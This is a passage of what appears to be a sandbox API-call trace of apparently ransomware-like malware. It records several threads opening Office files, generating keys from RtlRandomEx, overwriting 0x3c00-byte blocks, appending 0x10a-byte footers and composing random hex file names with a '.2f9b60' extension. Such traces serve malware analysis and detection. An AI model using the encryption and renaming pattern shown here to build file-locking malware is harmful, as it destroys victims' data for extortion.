ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0 [0140.216] FindClose (in: hFindFile=0x1cd9d670 | out: hFindFile=0x1cd9d670) returned 1 [0140.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205022c0) returned 1 [0140.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202786b0) returned 1 [0140.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107600) returned 1 Thread: id = 2161 os_tid = 0x1554 [0140.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 0x20 [0140.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD", dwFileAttributes=0x20) returned 1 [0140.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fd4 [0144.388] GetFileSizeEx (in: hFile=0x1fd4, lpFileSize=0x2187fac0 | out: lpFileSize=0x2187fac0*=1723) returned 1 [0144.388] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0x6b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.388] ReadFile (in: hFile=0x1fd4, lpBuffer=0x2187fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2187fa88, lpOverlapped=0x0 | out: lpBuffer=0x2187fa40*, lpNumberOfBytesRead=0x2187fa88*=0x4, lpOverlapped=0x0) returned 1 [0144.395] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0144.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe140 [0144.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0144.395] NtQuerySystemTime (in: CurrentTime=0x2187f980 | out: CurrentTime=0x2187f980*=132462177496426000) returned 0x0 [0144.395] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x2a7f576f [0144.395] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x3a8de2eb [0144.395] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x15b46469 [0144.395] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x6c92cf66 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x7155df3f [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x286a4957 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x7209d538 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0xafade73 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x48f61526 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x76721c54 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x32694228 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x50ce6f84 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x42b5f791 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x27ddb533 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x5c1dca91 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x156e9ac2 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x675f75e9 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x3e8fcce4 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0xfa63408 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x27d8be32 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x1a28af9d [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x111f02bc [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x620f7118 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x6f91fca2 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x256cefb1 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x74617337 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x78ca35e2 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x38c5f1a2 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x35c0434d [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x7c312898 [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x2bcd17ae [0144.396] RtlRandomEx (in: Seed=0x2187f970 | out: Seed=0x2187f970) returned 0x54d13fe5 [0144.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe200 [0144.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0144.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff430 [0144.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0144.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0144.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0144.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d30 [0144.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0144.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0144.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0144.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422979e0 [0144.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4227d570 [0144.407] ReadFile (in: hFile=0x1fd4, lpBuffer=0x422979e0, nNumberOfBytesToRead=0x6bb, lpNumberOfBytesRead=0x2187f970, lpOverlapped=0x0 | out: lpBuffer=0x422979e0*, lpNumberOfBytesRead=0x2187f970*=0x6bb, lpOverlapped=0x0) returned 1 [0144.407] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.407] WriteFile (in: hFile=0x1fd4, lpBuffer=0x4227d570*, nNumberOfBytesToWrite=0x6bb, lpNumberOfBytesWritten=0x2187f974, lpOverlapped=0x0 | out: lpBuffer=0x4227d570*, lpNumberOfBytesWritten=0x2187f974*=0x6bb, lpOverlapped=0x0) returned 1 [0161.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3230 [0161.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3260 [0161.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3260) returned 1 [0161.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4227d570) returned 1 [0161.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422979e0) returned 1 [0161.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0161.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0161.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3260 [0161.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d30 [0161.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0161.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3290 [0161.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3290) returned 1 [0161.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3290 [0161.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a32c0 [0161.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a32f0 [0161.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a32f0) returned 1 [0161.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0161.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0161.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13c10 [0161.091] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.091] WriteFile (hFile=0x1fd4, lpBuffer=0x1ce13c10, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2187fa90, lpOverlapped=0x0) [0200.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0200.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee00 [0200.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee00) returned 1 [0200.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee00 [0200.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fee30 [0200.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fee30) returned 1 [0200.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0200.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8400 [0200.261] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="ab") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="7e") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="d1") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="e7") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="71") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="33") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="02") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="aa") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="26") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="db") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="dd") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="ce") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="f3") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="d5") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="40") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="4b") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="b2") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="7b") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="1a") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="9a") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d842c, _Format="%c%c" | out: _Dest="e0") returned 2 [0200.261] sprintf (in: _Dest=0x1b7d842e, _Format="%c%c" | out: _Dest="82") returned 2 [0200.261] RtlInitAnsiString (in: DestinationString=0x2187fb08, SourceString="ab7ed1e7713302aa26dbddcef3d540ec4bb21c7b1a9ae082" | out: DestinationString="ab7ed1e7713302aa26dbddcef3d540ec4bb21c7b1a9ae082") [0200.262] RtlAnsiStringToUnicodeString (in: DestinationString=0x2187fad8, SourceString="ab7ed1e7713302aa26dbddcef3d540ec4bb21c7b1a9ae082", AllocateDestinationString=1 | out: DestinationString="ab7ed1e7713302aa26dbddcef3d540ec4bb21c7b1a9ae082") returned 0x0 [0200.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0750 [0200.262] wcscat (in: _Dest=0x431d9da0, _Source="ab7ed1e77133" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab7ed1e77133") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab7ed1e77133" [0200.262] wcscat (in: _Dest=0x431d9da0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab7ed1e77133.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab7ed1e77133.2f9b60" [0200.262] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab7ed1e77133.2f9b60", NtPathName=0x2187fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ab7ed1e77133.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x431f42a0 Thread: id = 2162 os_tid = 0x1558 [0140.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 0x20 [0140.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL", dwFileAttributes=0x20) returned 1 [0140.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fe8 [0144.863] GetFileSizeEx (in: hFile=0x1fe8, lpFileSize=0x3aa7f680 | out: lpFileSize=0x3aa7f680*=64872) returned 1 [0144.863] SetFilePointerEx (in: hFile=0x1fe8, liDistanceToMove=0xfd64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.863] ReadFile (in: hFile=0x1fe8, lpBuffer=0x3aa7f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3aa7f648, lpOverlapped=0x0 | out: lpBuffer=0x3aa7f600*, lpNumberOfBytesRead=0x3aa7f648*=0x4, lpOverlapped=0x0) returned 1 [0144.874] SetFilePointerEx (in: hFile=0x1fe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fece0 [0144.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec20 [0144.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204febf0 [0144.875] NtQuerySystemTime (in: CurrentTime=0x3aa7f540 | out: CurrentTime=0x3aa7f540*=132462177501106000) returned 0x0 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x569ce7e4 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x45ecd6df [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x21018564 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x19327f85 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x727bf1be [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x736859f4 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x736859f4 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x42505151 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x597ce681 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x79b3aa00 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x43f52461 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x623d321 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0xd7af326 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x51279a23 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x601085ad [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x3ed6998c [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x46ab9d5c [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0xd792b5e [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x760bc5b2 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x5a9c7d56 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x56bea759 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x348cdf63 [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x575aea2b [0144.875] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x31da7bca [0144.876] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x1bb59157 [0144.876] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x52d41d67 [0144.876] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x6c37486d [0144.876] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x80f1000 [0144.876] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0xc7ebe13 [0144.876] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x22dc83a6 [0144.876] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0x6ef0dfc2 [0144.876] RtlRandomEx (in: Seed=0x3aa7f530 | out: Seed=0x3aa7f530) returned 0xce2426b [0144.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204febc0 [0144.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0144.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb00 [0144.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0144.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204febf0) returned 1 [0144.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fece0) returned 1 [0144.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422b9960 [0144.885] SetFilePointerEx (in: hFile=0x1fe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.885] ReadFile (in: hFile=0x1fe8, lpBuffer=0x422b9960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3aa7f5a0, lpOverlapped=0x0 | out: lpBuffer=0x422b9960*, lpNumberOfBytesRead=0x3aa7f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0144.899] SetFilePointerEx (in: hFile=0x1fe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0144.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0144.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fedd0 [0144.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fedd0) returned 1 [0144.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422ae530 [0144.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fedd0 [0144.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feda0 [0144.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feda0) returned 1 [0144.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0144.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0144.900] WriteFile (hFile=0x1fe8, lpBuffer=0x422ae530, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3aa7f5a0, lpOverlapped=0x0) [0180.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422ae530) returned 1 [0180.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422b9960) returned 1 [0180.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdd9260 [0180.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0180.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0180.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9980 [0180.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9980) returned 1 [0180.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdd9980 [0180.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9950 [0180.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd98f0 [0180.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd98f0) returned 1 [0180.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0180.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0180.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab4f0 [0180.174] SetFilePointerEx (in: hFile=0x1fe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.174] WriteFile (in: hFile=0x1fe8, lpBuffer=0x423ab4f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3aa7f650, lpOverlapped=0x0 | out: lpBuffer=0x423ab4f0*, lpNumberOfBytesWritten=0x3aa7f650*=0x10a, lpOverlapped=0x0) returned 1 [0203.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0203.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0203.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bb20 [0203.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bb20) returned 1 [0203.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d4a0 [0203.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bb20 [0203.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205baf0 [0203.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205baf0) returned 1 [0203.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0203.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0203.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f0f0 [0203.453] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="f9") returned 2 [0203.453] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="86") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="39") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="60") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="b3") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="e2") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="36") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="92") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="a9") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="a5") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="34") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="47") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="46") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="83") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="70") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="78") returned 2 [0203.454] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="43") returned 2 